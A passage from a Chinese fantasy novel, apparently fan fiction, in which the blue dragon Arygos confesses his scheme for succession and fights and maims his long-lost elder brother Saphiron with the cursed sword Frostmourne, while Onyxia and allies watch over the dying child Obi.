“要么由他族的首席执政官代理,要么由蓝龙王亲自接管,直到有符合条件者出现——这两个结果都会严重打乱我的计划。” “那么普瑞斯托兄妹用小奥比要挟你,你为什么还会——” 亚雷苟斯收起笑。 “因为奥术污染的缘故,我的妻子一直无法为我产下可顺利孵化的龙蛋,出于个人身份和企业形象考虑,我没有宣告婚姻失败另觅配偶,还把这事包装成患难夫妻不离不弃为自己加分,这时收养奥比本该是最佳时机,不过……” “不过什么?”萨菲隆追问。 “我喜欢为自己多留一些退路,所以在考虑收养奥比的同时,我贿赂了龙族议会里的一些人,怂恿他们提交了一个特别议案,即废除蓝龙的首席执政官必须有子嗣这一规定。” “你……” “本来我没抱什么希望,龙族议会里像卡雷那样的保守派很有影响力,变动古老的律法规章是相当困难的。不过卡雷的死起到了意想不到的效果,在一片愁云惨雾中,这个议案突然得到了空前关注,竟一路过关斩将,通过了层层表决,虽然最后一关元老院没能通过,但他们说情况特殊,可以网开一面——毕竟我也是麦洛尼家族的成员,灵风能源和魔枢奈克萨斯声名在外,毕竟蓝龙王太久不过问龙族事务,就连他现在究竟身处何方也无人知晓,由他族代理又会让本来就很敏感自卑的蓝龙更加情绪不满……” 亚雷苟斯看起来有些兴奋,手中的烟又变成了水,他挥散漂浮的水珠,站起身来。 萨菲隆警觉地挺直腰,全身肌肉紧绷。 “尽管事态发展有些出人意料,但我终于如愿以偿——我将是下一任的首席执政官,一周后就是我的就职仪式,奥比对我来说已经没用了,既然黑龙兄妹以为能用那孩子来要挟我,那就随便他们好了,那孩子很快就会死于奥术污染,到时候他们得付全部责任,如果我再稍稍推波助澜一番,把导致卡雷父子死亡的嫌疑指向他们,暗示他们才是绿龙伊森德雷的后台,相信会很有说服力吧?” 萨菲隆感到背上隐隐发凉。 堕落的绿龙并非只有伊森德雷一条,亚雷苟斯会找上他,自然别有深意。 而黑龙特雷姆斯,也并非如亚雷苟斯说的那样,与整个计划毫无关联。 卡雷苟斯的死也许是个意外的悲剧,但若小奥比死在黑龙手上,将必然导致局势逆转。 “雪上加霜”的蓝龙会立即获得绿龙和红龙的支持,势单力薄的麦洛尼家族会一下子拥有两个强力盟友,本来置身事外的黑龙一旦成为众矢之的,普瑞斯托兄妹将面对前所未有的外交危机,哪里还有精力顾及灵风? 对于富有商业头脑的亚雷苟斯来说,用两条性命换来大局利好,再划算不过了。 “所以……” 亚雷苟斯一字一句地说:“萨菲隆警官,卡雷并不是我杀的,奥比也不是。当这一切结束后,我会心安理得。多少年后大家提及卡雷苟斯·麦洛尼和他的儿子,都知道是他们的‘牺牲’导致邪恶的黑龙家族走向衰败,真可谓名垂青史……这不正是他一直想要的吗?” “你疯了。”萨菲隆咬着牙说。 亚雷苟斯笑而不语。 “埃雷先生呢?麦洛尼家忠心耿耿的老主管,他的死又是因为什么?!”萨菲隆厉声质问。 “他之所以会死……”亚雷苟斯说,“大概正是因为你吧?” “你说什么?”萨菲隆拧起眉头。 “他表面对我十分顺从,但我知道其实他一心向着我哥哥,同时总是在隐隐提防我。我也知道他很热衷使用记忆擦除术,在卡雷死后这阵子他总是不太安分,似乎老想查出点什么……所以我在他其中一个随从身上设了个非常隐蔽的结界,以此我可以监视他的一举一动,而一旦当他发动记忆擦除术想要隐瞒什么事情的时候,这个结界就会触发一个远程精神控制法术,让我可以在短时间内直接操控那个随从的躯体……这个结界是我从伊森德雷那里学了点皮毛,再结合奥术魔法做出来的。” “那跟我有什么关系?” “这无关紧要。”亚雷苟斯淡淡地说,“那么,萨菲隆警官,我想我已经满足了你的好奇心,现在是否可以让我们摊牌了?——知道了这一切之后,你打算怎么做呢?以谋杀罪逮捕我?把我刚才的话公之于众,让我身败名裂?还是说你现在就打算杀了我,替他们报仇?” “我不会杀你,但你一定会受到公正的审判。”萨菲隆说,“亚雷苟斯,你的财势和你的精锐律师团这一次帮不了你,你逃不掉的。” 听了他的话,亚雷苟斯肩膀微颤,他在低声发笑。 萨菲隆不动声色,这样的情景他见得多了,很多人用笑掩饰内心,同时虚张声势。 但令他觉得蹊跷的是,之前亚雷苟斯花了那么多口舌,不遗巨细地说出了自己的动机、方法甚至还有感悟,却唯独对最后那个“无关紧要”的问题避而不谈。 为什么? ……萨菲隆先生,能让我了解一下您的学术成就吗? ……您曾经参与过什么科学项目,或者提出过什么学术理论吗? ……您有没有拿过什么博士学位? ……他们教微积分吗? 为什么要问他这些古怪的问题? 为什么老埃雷会知道他父母的事? 为什么在临死前要他好好照顾小奥比,要他守护麦洛尼家族? …… 为什么请求他放过亚雷苟斯? …… “萨菲隆警官,当你走进奈克萨斯时,想必心里已经有所觉悟了。” “而同样的,当我向你坦白一切的时候,也有所觉悟。” “那就是——” 亚雷苟斯的眼中泛起幽幽蓝光。 “对于一条即将魂归诺森德的龙来说……” “……任何秘密……” “……都是多余的。” 13. 第 13 章 蓝光从亚雷苟斯的眼中流出,融入他身边的水环中。 原本静止的水环泛起一丝涟漪,随后开始改变形态。 萨菲隆感到对方的蓝龙之力在急剧攀升,能量的波动在空气中激起奇异的共鸣,那是蓝龙发动攻击的前兆。 “这不是明智的选择,亚雷苟斯先生。”他试图劝亚雷苟斯改变主意。 亚雷苟斯脚下,巨大的六芒星阵徐徐旋转,整个圆顶办公室都被这层晶莹剔透的蓝光笼罩,悬浮在四周的奥术符文产生反应,加速闪烁起来,同时开始产生不规则的位移。 水环变成了——一把枪。 一把透明的、足有一人多高的手枪。 “我已经杀了一个哥哥。”亚雷苟斯的声音冷得像冰,“我不介意再多杀一个。” “你说什——” 轰!—— 扳机扣动,水凝成的子弹飞出枪膛,猛烈的冲击力下,不稳定的枪身分崩离析。 就在水弹即将把萨菲隆的颅骨击穿的一瞬间,他的面前突然闪过一道亮光。 咔!—— 在距萨菲隆的眉心仅有两尺之遥处,水弹应声而碎,掉在地上变成一地冰渣,随即又迅速化为液态。萨菲隆展开了他的奥术结界,这道厚度仅有几纳米的屏障拥有惊人的防御性能,仅有极少数高阶蓝龙能运用得如此得心应手。 “一条智商只有107的蓝龙,却能在一瞬间把不稳定的奥术脉冲流算得这么精准。”亚雷苟斯轻轻地鼓起掌来,“果然是融入血脉的本能啊……麦洛尼家族要每隔好几代才能出现这么一个天才。” 他讥讽地笑了笑:“不料却是个野蛮人。” “你到底在说什么?……”萨菲隆盯着他,“什么融入血脉的本能?我又不是你们麦洛尼家的人!“ “哦?不是吗?你是真的不知道,还是在装傻?”亚雷苟斯似笑非笑地反问。 看着那条蓝龙的表情,萨菲隆突然心跳漏了半拍。 亚雷苟斯面无表情,但他湛蓝色的眼睛里却有一些东西显而易见。 那是冷漠、嘲弄、轻蔑。 和刻骨铭心的嫉恨。 “该死。” 他骂了句脏话:“开什么玩笑!……” “你好像终于明白了。”亚雷苟斯说着,眼里再次闪起蓝光。 他面前巨大的办公桌升至半空,经过快速的分解变形重组后,这奥术能量物质化的产物变成了三个巨大的同心圆环,亚雷苟斯位于其中心,崩溃的“水枪”重新凝聚为一个拳头大小的透明球体,悬浮在他的胸前。 “你的蓝龙之力确实比我要强的多,也许十倍、甚至二十倍不止。” 随着亚雷苟斯的话,他身体周围的三个同心奥术环开始加速异相转动,很快便已无法用肉眼辨认它们的移动轨迹,这个小型黑洞产生了强大的吸引力,附近闪耀的奥术符文纷纷被拉进来绞碎,蓝龙的水球吸收了它们释放出的能量,光芒四射。 “但在奈克萨斯,你赢不了我。” 话音刚落,萨菲隆感到亚雷苟斯的蓝龙之力在一霎那间呈几何级数的幅度暴增,几乎全都集中在他胸前的水球上,若不是亲眼所见,他完全没料到这条看上去身型单薄的蓝龙能在一瞬间聚集起如此高强度的能量场。 “加粒子炮?……”萨菲隆大吃一惊。 亚雷苟斯双手相对,将他的能量核置于掌心之间。 咝—— 圆顶办公室内一片惨白,紫色的光束从水球核心迸出,直刺萨菲隆的胸膛。 亚雷苟斯的攻势太快,萨菲隆无暇精确调整奥术屏障的能量流,紫光刺开了结界,但随即停止位移。猛烈的冲击波摧枯拉朽般碾碎了圆顶办公室里所有的东西,亚雷苟斯的加粒子炮比先前的水弹威力大了千倍有余,萨菲隆的奥术防御结界有了裂隙,半透明的屏障上出现杂乱的光流,已然处于不稳定状态。 “要在这里挑战我,真是太自大了。”亚雷苟斯说。 说着他手势一变,双手拇指相抵,转动手腕用食指划了四分之三个圆周。 水球一分为四,三个小核加速旋转,将能量汇聚至中央较大的核心上。 聚能效应下,亚雷苟斯的这一击与前一发相比威力倍增,奥术结界已经被打出缺口,不可能承受得住——情急之下,萨菲隆索性撤销防御结界,调用自己全部的蓝龙之力予以正面迎击—— 亚雷苟斯的聚能加粒子炮与萨菲隆的冰霜龙息相遇,剧烈的能量波动导致它们均偏离了初始轨迹,圆顶办公室的一侧被开了个大洞,另一侧则被深度冻结。 中央区域受损,奈克萨斯立即进入紧急状态,反重力场支持着摇摇欲坠的塔楼,圆顶办公室里的温度骤降至冰点以下。 加粒子炮威力惊人,其“无属性”的特质,导致任何类型的魔法抗性都难以起效,只有少数领悟了奥术核心定律的蓝龙才能掌握它的用法,作为麦洛尼家族的不传之秘,“聚能加粒子炮”是能与“隐性红龙炸弹”相提并论的龙族绝技。 但即便如此,亚雷苟斯的全力一击却未能得手。 每条蓝龙都会冰霜龙息,这种龙族通用技显然与麦洛尼家族的绝学不在一个级别,萨菲隆完全依靠自己惊人的体能压制才和亚雷苟斯打成平手,瞬间爆发的结果是他的蓝龙之力进入冷却期,但和萨菲隆相比,亚雷苟斯的状况明显要更糟些—— 他的脸色很难看,不得不扶着身边的椅子来支撑住自己,刚才的交锋极大地消耗了他不甚充沛的体力,剧烈的能量反馈令他受伤,亚雷苟斯掏出手帕擦着嘴角渗出的血丝,眼瞳蓝得惊人。 “够了!“萨菲隆喝道,“我不想跟你动手!” “……” “告诉我——这究竟是怎么回事?我和你们麦洛尼家族到底有什么纠葛?!” “看来红龙没有告诉你……他在给奥比换血的时候,并没有转换基因的事吧?” “为什么?……我告诉过他,我——” “因为根本没这个必要。”亚雷苟斯缓缓地说,“因为你们——噢,不,应该说‘我们’血脉相连。” 萨菲隆愣住了。 他简直不敢相信自己所听到的。 “奥比是我的侄子,同样也是你的——你是他的亲叔叔,你和卡雷还有我是同父同母的亲兄弟,而且你还是长子。” 不……这不是真的,这不可能。 “这意味是你才是麦洛尼家族的第一顺位继承人,这意味着一旦你收养了奥比,将比我更有资格成为首席执政官,这意味着……” 他盯着骇呆的萨菲隆: “……你跟卡雷一样,都是我必须清除的障碍。” “我从没打算要——” “那不重要,你的存在,就是最大的威胁。”亚雷苟斯笑道。 卡雷?卡雷算什么? 卡雷不过是眼前这个人的替身罢了。 说着他的三重奥术环开始改变形态,这一次它们附着在亚雷苟斯背后,形成了巨大的翼状物,再次急剧攀升的能量反应超出了他的身体承受极限,鲜血从他的耳中涌出。 “奈克萨斯是我亲手建造的,它是一个要塞,一座城市,同时也是一个能量放大器——真难为情,在这种情况下我也只能勉强与你打成平手,如果你也学会麦洛尼家族的绝技,恐怕我已经死了。”亚雷苟斯双脚离地,缓缓升至空中,“但我至少知道我在为何而战——权力虽然俗气,终归是个理由,那么,你呢,哥哥?” “……” “你为什么那么迫不及待地想要毁了我?”居高临下的亚雷苟斯俯视着萨菲隆,那样的姿态和表情,就像一个悲伤的审判者。 “因为小奥比?因为卡雷?还是因为她?” 萨菲隆心头一颤。 “原来如此。”亚雷苟斯笑了,“为了博取她的欢心,所以你想要消灭她的敌人。她对你承诺了什么?钱?性?还是爱?” 她没有。 她什么也没有承诺过。 “黑龙的爱是一味毒药,至美至幻,更能置人于死地。”亚雷苟斯摇了摇头,怜悯地望着他的兄长,“每个服毒者都幻想着同一件事——可无一例外,毒性发作了,他们全都死了。” “不,不是这样的!“萨菲隆吼道,“亚雷苟斯,你错了!” ……不是这样的。 他和奥妮…… 亚雷苟斯的奥术之翼流光溢彩,空气中的共鸣声被推至顶点。 “对,我是错了——你还没有喝下她的毒药,但这并不会显得你比那些蠢货更高明。” “……” “你不过是虔诚地捧着那毒药,谦卑地站在她身后,自作多情地以守护者自居罢了。” “你甚至不敢确定那毒药是为你调制的。” “你连喝下它的资格都没有。” 亚雷苟斯说。 “自欺欺人的幸福……” “……真可悲。” 紫光闪过,萨菲隆的立足之地被亚雷苟斯的魔爆术炸得粉碎。 弥漫的烟尘被强劲的气流驱散,一条蓝色巨龙振动双翼,飞上奈克萨斯的最高点。 萨菲隆的巨龙形态如此庞大,以至于在它面前,以人类形态悬浮在空中的亚雷苟斯是那样的微不足道。但面对这头巨兽,亚雷苟斯毫无惧色,只是看着它越飞越高。 “你终于也发怒了吗?”亚雷苟斯说,“想把我撕成碎片吗?” 萨菲隆在高空发动冰霜吐息,但目标并非正下方的奈克萨斯,这些霜寒冻气凝聚在一起,在蓝龙之力的影响下迅速液化,变成了一个球体。 他的龙翼每振动一次,球体就增大一分,随着他不断积蓄能量,被液化的龙息很快就增大到了令人难以置信的程度——简直就像一颗冰冻星球,悬挂在亚雷苟斯头顶。 在这炎热的龙族繁殖季,泰坦尼亚的天空,竟下起了雪。 “奈克萨斯的防御系统已经到极限了,这颗冰霜核弹投下来,至少能将三个奈克萨斯连根拔起,这里会被百年不遇的暴风雪吞噬,会有很多人死去呢。” “……” “可是不用这么大的冰霜陨星,又对付不了我的聚能加粒子炮。”亚雷苟斯冷冷地说,“你还在犹豫什么?把它丢下来,把我炸得粉身碎骨,世界面临的威胁,还有你的烦恼,就全解决了。” 萨菲隆瞪着亚雷苟斯,却迟迟没动手。 亚雷苟斯没再说什么,奥术之翼传递的光流在他手中凝聚成形。 那是一把剑。 “知道这把剑的名字吗?” 看到那把剑上寒光闪闪的霜冻符文,萨菲隆大吃一惊。 霎那间他明白了一切。 亚雷苟斯的终极王牌,并不是聚能加粒子炮。 而是这把剑—— 这把被称为“霜之哀伤”的剑。 面对那把阴森邪异的魔剑,萨菲隆别无选择,只能发动他的全力一击。 寒星从天而降,极光驱散晚霞,照得整个城市一片惨白。 亚雷苟斯投出了手中的剑。 一束极亮极细的白光从奈克萨斯中央区域的高塔射出。 投放冰霜陨星后,萨菲隆振动龙翼,试图以最快速度进行闪避。 但仍旧太迟。 白光没入陨星底部,再从其顶部穿出,冲着萨菲隆迎面而来。 眼前一片死灰,萨菲隆知道自己完了。 他下意识地举起前爪去挡,但这无疑是徒劳的,在那束光面前,他那巨大的龙爪简直如同一张薄纸,龙爪背面现出一块白色光斑,随后同样的光斑印在了他的胸膛上。 白光击穿了萨菲隆庞大的身躯,从他后背射出,直指苍穹。 鲜红的龙血喷洒而出,变成了墨蓝色的冰。 霜之哀伤刺穿了他的心脏,恶魔的诅咒转瞬间侵蚀了他的身体,萨菲隆再也无力支撑,像一艘熄掉引擎的战列舰朝地面坠落。失去蓝龙之力的冰霜陨星崩溃瓦解,奈克萨斯的奥术护盾全开,抵挡了大部分失控的超低温能量,方圆几十公里的市区几乎被冰雪掩埋。 在不断下坠的时候,萨菲隆眼前闪过很多张脸孔。 他依稀看到那些渐渐变得模糊的脸孔中,小奥比在朝他摇头。 奥妮克希亚也在那里,静静地凝视着他,她的嘴唇在动,似乎在对他说着什么。 但他什么也没有听见,眼睁睁地看着她和小奥比离自己越来越远。 ……………… …… 与此同时,距泰坦尼亚千里之遥,暴风城内某处。 小女孩趴在地板上,双手托着下巴,目不转睛地望着面前的猫。 比格沃斯瞅着她。 “你的眼睛真好看。”小女孩自言自语,“就跟萨菲隆叔叔的眼睛一样。” 本来只是随便说说,没想到再仔细看上两眼,倒真的越来越觉得是这么回事,于是小女孩爬起来,咚咚咚地跑出房间:“爸爸!爸爸!我有一个大发现哦!……” 比格沃斯眯了眯眼,注视着小女孩的背影。 “怎么了,亲爱的?”科比一脸莫名其妙地被女儿牵着手拽了过来,“你又发现了什么?” “萨菲隆叔叔的猫猫,他们的蓝眼睛一模一样!……”小女孩兴奋地指着地上的猫,“猫猫它——” 细嫩的声音戈然而止。 因为意想不到的事情发生了。 在两人的注视下,房间中央的比格沃斯的身影突然“闪”了一下。 “这是?……”科比原本以为自己眼花了,再仔细看去,却发现那只猫竟开始慢慢地“融化”了! 眼睁睁地看着几秒钟前还活生生的小猫离奇地化成了地上的一滩淡蓝色的“水”,小女孩吓得尖叫起来。 “比格沃斯……比格沃斯它……”她哭着抱住父亲,“不是我干的!我就只喂了它一点水!……” 科比搂着女儿,用手遮住她的眼,让她紧靠着自己,同时目瞪口呆着望着眼前的这一幕。 ……………… …… 与此同时,暴风城的另一处。 奄奄一息的小奥比突然睁开眼,开始猛烈地抽搐起来。 守在一边的奥妮克希亚想按住他,不料那条小蓝龙像发了疯一般,不顾一切地下了床,二话不说推开窗户就要朝外跳。 “别乱来,小子!”她拉住小孩,“你现在根本飞不动,你想掉下去摔得粉身碎骨吗?!” “他死了!他……他死了!”小奥比尖叫着,“我……我要去救他!” “安多!安多!!”奥妮克希亚大叫。 门外传来咚咚咚的脚步声,哗啦一声,那光头巨人用膀子撞碎房门冲了进来。 “他死了!……他……他死了……那个人杀了他!!……”一看到安多洛夫,小奥比放声大哭。安多洛夫从奥妮克希亚怀里接过小孩,把他抱在自己怀里,当即变了脸色。 “怎么了?”奥妮克希亚从来没在他脸上见到过这种表情。 “他死了……他死了……”小奥比抓着安多洛夫胸前的衣襟,不住地抽泣着。 “他死了。”安多洛夫机械地重复着小奥比的话。 “你说什么?……”她睁大眼。 “制约这小鬼身上奥术污染的蓝龙结界消失了。”安多洛夫怔怔地看着她,“这只有一种可能,那就是设下结界的人蓝龙之力已经崩溃……如果一条成年蓝龙的力量崩溃,那么他——” “住口!”奥妮克希亚低喝道,“这不可能!亚雷苟斯不可能赢——安多,连你也相信那个老头子的胡言乱语吗?别忘了他依然是替麦洛尼家族卖命的人!……” 安多洛夫没有反驳她的话,只是告诉她自己知道的事实: “奥术污染失去束缚,已经开始急速扩散,奥妮,没有蓝龙结界,我的红龙之力已经派不上用场了,这小鬼最多只能再活二十四小时。” “不……不会的。”奥妮克希亚盯着小奥比手腕和颈部逐渐扩散的蓝色光纹,喃喃自语,“安多,他不会就这么死掉的。” “小少爷……” 安多洛夫抬头,奥妮克希亚顺着他的视线望去,只见埃雷苟斯和他的三个蓝龙随从正站在门口,满脸绝望。她眉头一拧,冲到那条老蓝龙面前,逮住他的衣领:“你们的小少爷就要死了,想想办法,该死的!” “奥比小少爷身上的奥术污染已经爆发,我们无法再接近他了。”老埃雷两眼无神地望着她,“我们的蓝龙之力不像……不像萨菲隆先生那么强,我们体内的奥术能量一旦被污染……” 提及那个名字,老人的眼中泛起浓浓的悲哀。 “老头,你给我听好——这小鬼是麦洛尼家族的最后一丝血脉,如果连他都保不住,你和你的家族也没必要继续存在了。”她冷笑一声,“当然啦,如果这样你都觉得无所谓,那也就罢了——八大家族变成七个,少一个跟普瑞斯托家作对的,我高兴还来不及!”说完转身要走。 “你要干什么?”听出她话里有话,安多洛夫忙一把拉住她。 “我要去拿亚雷苟斯的龙头。”她甩开安多洛夫的手,“那家伙已经亮出底牌了,再这样下去我们黑龙会被他玩死,再不动手就来不及了。” 安多洛夫闪到她面前,也不发话,只是用庞大的身躯堵住她的去路。 “就算杀了亚雷苟斯,他也回不来了,奥妮。” 她一怔,脸上的表情瞬息万变,但最终她还是选择了一贯的冷硬。 “你的胆子未免也太大了,安多。” 两人针锋相对,空气凝结成了铅块。 忽然一个声音低低地响起。 “我来。” 众人齐转过头,说话的是“夜之魇”阿坎纳苟斯。 “你们快想办法阻止亚雷苟斯大人。”他低声说,“我来照顾奥比小少爷。” 安多洛夫摇了摇头,沉默不语,奥妮克希亚低哼一声:“还算是个男人。” “你——”老埃雷深深地看着他,“你知道这意味着什么吗?” “我会遭到污染,很可能会死。”年轻的蓝龙说,“但我的蓝龙之力能延长奥比小少爷的生命,也许三天,也许只有三小时。”说着他走到床边,执起那孩子的手,将其掌心贴在自己胸前,蓝色的光纹像是感应到了什么似的,飞快地朝他的体内渗透,小奥比的呼吸随之舒缓下来。 “虽然这不足以抵消我的罪行,但只有这样才能让我心里好受一些。”他望着那两条龙,“普瑞斯托小姐,雷奥将军,请不要为难埃雷先生,他是这个世界上对麦洛尼家族最忠诚的人,我恳求你们帮助他。” 奥妮克希亚和安多洛夫对视了一眼,沉默不语。 光头巨人走到一边,双臂环胸,浓眉紧锁,盯着自己脚尖前的地面,像尊雕塑般纹丝不动,安多和卡卡似乎又在激烈地争论着什么,以至于无暇顾及身体的控制权。 看着气若游丝的小奥比,安多的话仍在她耳边回荡,想着下落不明的萨菲隆,奥妮克希亚罕有地陷入焦虑,她下意识地搓了搓手,却发现自己冰冷的手指竟僵硬地箍在一起,连掰都掰不开。 ……………… …… 亚雷苟斯一步一步地朝萨菲隆走去。 萨菲隆变回了人形,他背靠着墙,歪着上身瘫坐在地,剧烈起伏的胸膛显示他还活着。 即使是被传说中被诅咒的魔剑霜之哀伤刺穿了心脏,这条龙依然顽强,他用手攥着剑身,想把剑从自己胸口拔出来。 但他实在伤得太重了。 对于其他色种的龙来说,霜之哀伤和其他神兵利器并无不同,可对蓝龙而言,这把剑对冰霜和奥术的侵蚀力无疑是他们的克星,无论是他们惯用的冰盾还是近乎“万能”的奥术防御结界,在这把剑面前都形同虚设,连蓝龙王都不愿与持有这把剑的人发生正面冲突,谁能想到,这把早已随着巫妖王的覆灭而销声匿迹的魔剑会恰恰落入蓝龙之手? 走到这个巨人身边,亚雷苟斯才能真切地体会到萨菲隆和他有多么不同。 看来因为奥术污染而导致的基因突变确有其事。 “你的蓝龙之力已经崩溃了,这把剑封印了你所有的能力。”亚雷苟斯居高临下地看着他,“为什么?自由的生活不好吗?住在凡人的世界里不好吗?为什么要回来?” 他伸手握住铸着骷髅和恶魔犄角的剑柄,微微转动剑身,伤口扩大,尘封已久的魔剑痛饮龙血,剑身似乎因为兴奋而颤抖,发出阵阵共鸣。萨菲隆眉头紧蹙,神色痛苦,腮帮上的肌肉颤抖着,豆大的汗珠接连滚落,而他却紧咬牙关一声不吭。 “真是条硬汉。”说着他拔出了剑,单膝着地跪在萨菲隆身边。 面对萨菲隆的瞪视,亚雷苟斯不以为意,拿起手帕替他擦拭脸上的汗和嘴角的血迹,那块手帕似乎也出自某种法术,无论沾了多少血污,始终洁白如雪。 “你真的很像他。”亚雷苟斯忽然开口道。 “……” “尤其是眼睛,像蓝宝石一样。”亚雷苟斯扶着萨菲隆的肩膀,凝视着他那双开始褪色的眼瞳。 “很久很久以前,麦洛尼家族的上一代掌门,和当时另一个显赫的蓝龙家族阿米提亚的千金相爱,他们盛大的婚礼轰动了整个泰坦尼亚,蓝龙王玛里苟斯亲自为他们主持婚礼,红龙女王阿莱克斯塔萨、绿龙女王伊瑟拉、黑龙王奈萨里奥,甚至连青铜龙王诺兹多姆都带来各自的祝福,从来没有谁的婚礼能让五大龙王全部到场——他们是金童玉女,门当户对,一切都像童话般美丽。” “那时蓝龙虽然也有奥术污染的困扰,但情况比现在要好得多,他们不久后就产下了第一批龙蛋,幸运地有了第一个儿子。” “那个孩子是他们所见过的最美丽的生物,他的眼睛就像最上等的蓝宝石一样纯净柔和——他们打算在他五百岁生日时公布正式的名字,不过到底是‘萨菲苟斯’还是‘萨菲洛斯’,我记不太清楚了,但总之和‘蓝宝石’在龙语中的发音‘萨菲尔’有关。”亚雷苟斯望着萨菲隆,“在那之前,他们给这个孩子起了个昵称,叫做‘萨夫’。” 萨菲隆用尽全力,抬手抓住亚雷苟斯,在他的衣襟上留下了几道弯弯曲曲的血指印。 “然而……幸福终究是短暂的。”亚雷苟斯握着那只已经失去温度的巨掌,继续说了下去: “那个孩子出生后不久,巨龙之殇降临,和平繁荣的泰坦尼亚成了地狱,为了守护自己的君王和族人,孩子的父亲上了战场,带领幸存的蓝龙与疯狂的黑龙作战,麦洛尼家族的主管护着女主人和襁褓中的少主,带着几个忠心的家臣打算撤往相对较安全的东部地区,可路上他们遭到黑龙的袭击,混乱中他们走散了。” 萨菲隆粗犷的脸上划出一道泪痕。 这个故事他等了几千年,却由一个刚刚对他痛下毒手的男人说了出来。 这个男人还是他的亲弟弟。 “当老麦洛尼披着沾满龙血的战甲,疲惫地回到妻子身边时,却被告知他们的小萨夫失踪了。”亚雷苟斯说,“那段时间诺森德收容的龙族灵魂不计其数,连作为亡者之书守护者的那条蓝龙都没能逃过黑龙的杀戮,因此亡者之书完全没有留下任何记录——于是所有人都认为那个脆弱的小生命已经在战乱中夭折。老麦洛尼和他的妻子悲伤欲绝,青铜龙王用时间冲淡了他们的丧子之痛,巨龙之殇后他们有了第二个孩子,那个孩子有一双很像小萨夫的眼睛,脸的轮廓也很相似,一下子唤回了他们被痛苦掩埋的爱,他们发誓这一次要不惜一切保护他。” 亚雷苟斯凝视着萨菲隆:“这个孩子后来有了名字——他们叫他卡雷苟斯。” “至于第三个孩子……呵呵。”亚雷苟斯轻声笑道,“真遗憾,他没有漂亮的蓝宝石似的眼睛,长得也跟哥哥们不太一样,并且性格阴沉,不善讨人欢喜,所以他是最不得宠的一个。” 说到这里,他虽然在笑,却流下泪来。 “他真没用,什么都比不过他哥哥,永远达不到长辈的期望,无论怎么努力,也从来没令他们满意过——流沙之战中他和另外两位龙族成员潜入安其拉神殿最深处,却被上古之神克苏恩俘获奴役,被折磨了整整一千年……一千年!——那是最可怕的摧残,你痛不欲生,神智却前所未有的清醒,就好像古神军团受到的每一次打击都加倍转移到了你身上;你的身体不听使唤,连自我了断都做不到……一千年后,艾泽拉斯联军和巨龙军团再次携手作战,攻破了安其拉,重新封印上古之神,他最终获救,但所有人都忙着歌颂英雄,作为巨龙军团将领之一,他的哥哥再次成为世界焦点,还会有人记得一个千年前的失败者呢?……” 亚雷苟斯的腮帮蠕动着,他紧紧地抓着萨菲隆的肩膀,凶狠地盯着他。 “就因为我没有这样一双好看的蓝眼睛?就因为他们对你感到内疚,所以长得像你的卡雷就能得到他们全部的爱?可结果呢?现在我才是麦洛尼家族最强的,如果卡雷果真那么优秀,为什么他还会中我的计?他的破绽数不胜数,我不废吹灰之力就除掉了他!……我早该这么做了!当他们还在世的时候我就该动手了!那样他们才会明白哪个儿子更出色!” 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“好吧,很好。”亚雷苟斯站起身。 随后他突然再次屈膝跪在萨菲隆身边,抬起右手。 萨菲隆只感到自己的眼前一黑,难以言喻的痛楚撕扯着他的神经。 “对不起,萨夫。” 将血淋淋的指尖从萨菲隆的眼窝中抽出后,亚雷苟斯举起剑,猛地朝对方的脖子挥去。 剑光闪过。 亚雷苟斯拿着剑,怔怔地盯着墙上的整整齐齐的裂口。 萨菲隆并没有被斩下首级,他凭空消失了,无影无踪。 “你逃了吗?萨夫,你能逃到哪里去?你的心被霜之哀伤刺穿,蓝龙之力已经崩溃,冰霜和奥术能量核心都被我取走,你还能做什么?你以为能逃出我的手掌心,把我告诉你的一切都公诸于众?你以为我会让你有机会整垮我和我的灵风?……我会找到你!就算你死了我也会找到你的尸骸!我一定会的!!……” 亚雷苟斯声嘶力竭的咆哮声在奈克萨斯上空回荡。 哐当—— 手里的霜之哀伤掉在地上。 望着掌心里那两颗沾满血丝的球状晶体,他站在漫天风雪中放声大笑。 那是萨菲隆的眼睛。 被活生生剜下来的蓝龙之眼。 …… 奥妮克希亚焦虑地来回踱着步,不时地冲着房间里瞥上一眼。 已经五天了。 在“夜之魇”阿坎纳苟斯的保护下,小奥比的情况暂时得到控制,但没人知道能持续多久,阿坎纳苟斯再也没开口说过话,他连眼睛都没眨过一下,似乎进入了某种冥想状态,老埃雷说只有这样才能集中全力对抗奥术污染的侵蚀。 为了赎罪,那条年轻的蓝龙拼上性命,推迟了小奥比的死亡宣判,可又能怎样? 她从未像现在这样烦乱过,被人制住要害却无从反击,这感觉实在是糟透了。 她和奈法利安都低估了亚雷苟斯,他们已经开始付出代价了。 一只杯子递到她面前,抬头一看,是那光头巨人。 “给。”他说,“不去休息一下吗?多久没睡了?” 她接过杯子喝了一口,默不作声,见红龙盯着她看,便问:“怎么?” “为什么你还待在这里?”他反问,“你在想什么,嗯?” “我没想什么,卡卡。” “呀,果然是敏锐的女性洞察力呢,你好像总能轻易分辨出控制这具身体的是谁。”他摸摸自己光可鉴人的脑壳。 “你和安多是截然不同的两个人。”她白了他一眼,“你们居然是兄弟?还是孪生的?真是奇事一桩——别拐弯抹角,有话快说。” “我以为你已经离开了。” “为什么?” “现在这种情况,放掉那小孩,让他自生自灭是最明智的选择。”卡卡说,“你们唯一能做的就是对他们父子俩的事死不认账,否则你们百口莫辩,等于是任由亚雷苟斯宰割。” “我还有一个选择。”她说,“亚雷苟斯的就职仪式后天进行,我们还有时间。” “你哥哥不会跟蓝龙开战的,红龙教父把他盯得很紧,这事你比我更清楚。”卡卡低声说,“别再管蓝龙的事了,放弃虚空风暴让灵风做大,避开现在的风头,你们还有大把机会可以给亚雷苟斯好看。” “你为什么要说这些给我听?和黑龙相比,蓝龙不是你们的‘传统盟友’吗?”奥妮克希亚没好气地问,“那么多人恨不得黑龙从这世界上彻底消失,你们红龙不也一样?” “我是想让你看清现实,亲爱的。”卡卡轻描淡写地说,“如果真对那个‘最后的选择’充满信心,那你还在等什么?这几天你寸步不离地守着小奥比,让你的部下满世界打听他的下落……要是黑龙公爵知道他的妹妹变得这么多愁善感,一定会大吃一惊吧?” 她一甩杯子,将没喝完的水泼向对方。 水在空中咝咝地被蒸发掉了,她怒视着红龙,咔的一声杯子被她捏了个粉碎。 “我派人查过了,诺森德的亡者之书上没有他的名字……他还活着!”她低声说。 “……卡卡!你少说两句!……” 接受事实吧,公主殿下。 她知道卡卡已经走了,现在站在她面前的是安多。 混蛋,看完她的笑话后就想一走了之? 奥妮克希亚从床边跳起来,朝那光头巨人扑去。 